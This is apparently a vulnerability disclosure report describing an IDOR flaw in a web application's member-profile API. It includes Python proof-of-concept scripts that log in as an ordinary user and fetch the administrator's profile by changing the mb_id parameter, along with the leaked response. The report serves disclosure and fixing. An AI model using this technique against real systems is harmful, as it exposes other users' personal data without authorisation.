Unauthorized User Info Disclosure via IDOR

## Summary

An **IDOR (Insecure Direct Object Reference)** vulnerability exists in the endpoint `/api/v1/members/{mb_id}` which allows **any authenticated user** to retrieve **arbitrary user profile information**, including administrator accounts, by simply modifying the `mb_id` path parameter.

This constitutes a serious **vertical privilege escalation (CWE-269, CWE-284)** and **sensitive information disclosure (CWE-200)**.

## Step-by-Step Reproduction (PoC)

### 1. Register and log in as a regular user to obtain JWT access token

```python
import requests

url = "http://localhost:8000/api/v1/token"

credentials = {
"username": "test", # username
"password": "1234"
}

res = requests.post(url, data=credentials)

if res.status_code == 200:
token_data = res.json()
access_token = token_data.get("access_token")
refresh_token = token_data.get("refresh_token")

print("[+] Access Token:", access_token)
print("[+] Refresh Token:", refresh_token)
else:
print(f"[!] 로그인 실패: {res.status_code}")
print(res.text)
```

### 2. Use that regular user's token to access admin profile

```python
import requests

access_token = "<access token from step 1>"
target_mb_id = "admin"

url = f"http://localhost:8000/api/v1/members/{target_mb_id}"
headers = {
"Authorization": f"Bearer {access_token}"
}

res = requests.get(url, headers=headers)

print(f"[+] Status: {res.status_code}")
print(res.text)
```

### Vulnerable Response:

```json
{"mb_id":"admin","mb_nick":"최고관리자","mb_email":"admin@your-domain.com","mb_point":100,"mb_profile":"","mb_icon_path":"/static/img/no_profile.gif","mb_image_path":"/static/img/no_profile.gif","mb_1":"","mb_2":"","mb_3":"","mb_4":"","mb_5":"","mb_6":"","mb_7":"","mb_8":"","mb_9":"","mb_10":""}
```

## Impact

* Any authenticated user can access **any other user's profile**, including admin.
* Disclosed data includes **email, nickname, points**, and potentially more.
* Reflects **improper access control** and **vertical privilege escalation**.

## CWE References

* **CWE-269**: Improper Privilege Management
* **CWE-284**: Improper Access Control
* **CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor